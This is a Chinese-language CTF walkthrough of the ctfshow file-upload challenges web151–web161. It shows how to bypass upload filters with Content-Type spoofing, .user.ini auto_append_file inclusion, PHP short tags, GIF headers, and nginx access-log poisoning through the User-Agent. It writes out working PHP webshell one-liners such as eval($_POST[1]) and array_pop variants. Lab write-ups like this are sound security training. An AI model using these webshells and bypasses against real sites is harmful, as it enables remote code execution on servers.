ctfshow-文件上传(web151-web161)

目录

web151

web152

web153

web154

web155

web156

web157

web158

web159

web160

web161


web151

提示前台验证不可靠 那限制条件估计就是在前端设置的

上传php小马后 弹出了窗口说不支持的格式

查看源码

这一条很关键 这种不懂直接ai搜 意思就是限制了上传类型 允许的后缀格式为png

我们直接修改并且上传小马

给出了上传路径 访问传参即可 得出flag

方法二 因为是前端验证嘛

修改小马后缀为png bp抓包修改回来也可以

web152

提示后端管的严

就算把前端允许的格式修改为php也不行 后端返回个报错信息 文件类型不允许

抓包修改类型为PNG

Content-Type: application/octet-stream

修改为

Content-Type: image/png

成功

获取flag

web153

依旧显示文件类型不合规

修改类型不行了

修改后缀也不行 那么估计就是对文件内容进行检测了 在文件的内容前加入PNG头标识也不行

可能即使后端判断后缀太严格只要是.php就不行

发现upload下有个index.php文件 那就可以使用.user.ini的方式了

php.ini是php的配置文件 定义全局的 .user.ini也是配置文件作用与目录的 优先级比全局配置文件高 前提是当前目录下有php文件 那么在.user.ini配置文件定义当前目录所有php文件包含一个指定的php文件 即可 但是这个指定的php文件也需要我们上传 我们无法上传php 才想到的.user.ini 所以包含一个txt文件也可以的 只要是txt文件内容是php内容 文件包含过来就会解析txt里面的php内容

首先上传.user.ini文件 内容为auto_append_file=1.txt

首先就是前端允许类型为ini这样通过前端 后端修改类型为image/png通过后端 要记得在user.ini前增加一个. 必须在bp中增加(在本地.开头可能会不让) 因为全称就是.user.ini

上传txt文件

依旧是先绕过前端 后端文件类型修改为image/png

访问/upload即可 并传入post参数为我们的命令

web154

以上一题的方法试一下

.user.ini文件成功上传

但是txt文件上传失败说是文件内容不可以

经过测试只要是文件中存在php就不可以

使用php短标签格式即可

获取flag

web155

同web154

使用蚁剑连接查看过滤源码发现 确实过滤了php并且过滤文件的内容 以及判断类型

web156

同web154

区别文件内容又过滤了[] 导致小马不能用 换成{}即可

<?=eval($_POST[1]);?>

<?=eval($_POST{1});?>

注意 判断过滤什么 使用二分法 一半一半测试

web157

同web154

额外多过滤了{}以及;号 不影响直接删除即可

因为 在php中最后一个;可以不用写

上一题去除分号即可

{}问题如何解决 多学一个姿势POST不给参数也可以

一句话木马为 <?=eval(array_pop($_POST));?>

去除分号<?=eval(array_pop($_POST))?>

意思就是弹出post最后一对键值对的值 从而php解析这个值 从而达到执行命令

web158

使用web157即可

web159

文件内容()不让用了 那就不能写一句话木马了

还有什么方式呢 那就是 首先ini文件包含一个1.txt文件 1.txt文件的php内容为包含U-A日志文件

/var/log/nginx/access.log 然后U-A 添加一句话木马 即可 这个log也被过滤了 使用 . 拼接即可

.user.ini 内容为 auto_append_file=1.txt

1.txt内容为 <?=include '/var/l'.'og/nginx/access.l'.'og'?>

添加U-A值 <?php eval($_POST[1]); ?>

目前来说日志确实被包含了 但是内容太多 手动执行命令不好找 并且也不确定一句话是否被写入日志中 使用蚁剑连接测试即可

成功

找到了flag

既然已经使用蚁剑进行连接了 那就看看这几关后端是怎么过滤的吧

后端过滤脚本

可以看到文件内容过滤了 php ( [ { ; log

并且验证文件类型是否为image/png 以及后缀是否是php

web160

文件内容过滤了空格 很容易我们将空格换成换行符0a即可 不能再post中直接写%0a 那个url的写法 先用1进行占位 再hex中找到1对应的31 修改为0a即可

web161

经过bp测试 不让上传ini后缀的文件了 txt也不行 png也不行 估计是白名单?

我重新来 直接在页面中上传png图片 结果也说图片不合规 这是啥都不让上传?

真有意思前端允许类型是png 后端却不可以了

经过测试 后缀只要不是php就可以 文件类型必须要是png 文件头内容必须是GIF头(并且光有头不行 还必须要有内容)

既然知道这样了 按照上一题

上传.user.ini 内容为 auto_append_file=1.txt

上传1.txt内容为 <?=include '/var/l'.'og/nginx/access.l'.'og'?>(过滤了空格 记得替换09等)

添加U-A值 <?php eval($_POST[1]); ?>

并且文件内容前必须要加上GIF的头字段(我查看源码也不明白原因 有个函数获取该文件大小 也就是说 文件头要和文件对应 才会返回真 这个GIF文件头组合任意内容 该函数都会返回真 这是我的理解)

确定包含日志

蚁剑连接成功确实 木马写入 查找flag
在这里说一下 这些题目都是再上一题的基础上再增加过滤条件的 所以就是上一关禁用的 下一关也会被禁用
先发到web161 之后的需要vps长地址 目前弄不出来长地址 导致只能做到这

相关推荐
独行soc2 小时前
#渗透测试#漏洞挖掘#红蓝攻防#护网#sql注入介绍08-基于时间延迟的SQL注入(Time-Based SQL Injection)
数据库·sql·安全·渗透测试·漏洞挖掘
Clockwiseee3 小时前
php伪协议
windows·安全·web安全·网络安全
Lspecialnx_8 小时前
文件解析漏洞中间件(iis和Apache)
网络安全·中间件
学习溢出9 小时前
【网络安全】逆向工程 练习示例
网络·安全·网络安全·渗透测试·逆向工程
孤独的履行者12 小时前
入门靶机:DC-1的渗透测试
数据库·python·网络安全
Blankspace学13 小时前
Wireshark软件下载安装及基础
网络·学习·测试工具·网络安全·wireshark
CVE-柠檬i17 小时前
Yakit靶场-高级前端加解密与验签实战-全关卡通关教程
网络安全
轨迹H1 天前
kali设置中文输入法
linux·网络安全·渗透测试·kali
cr.sheeper1 天前
Vulnhub靶场Apache解析漏洞
网络安全·apache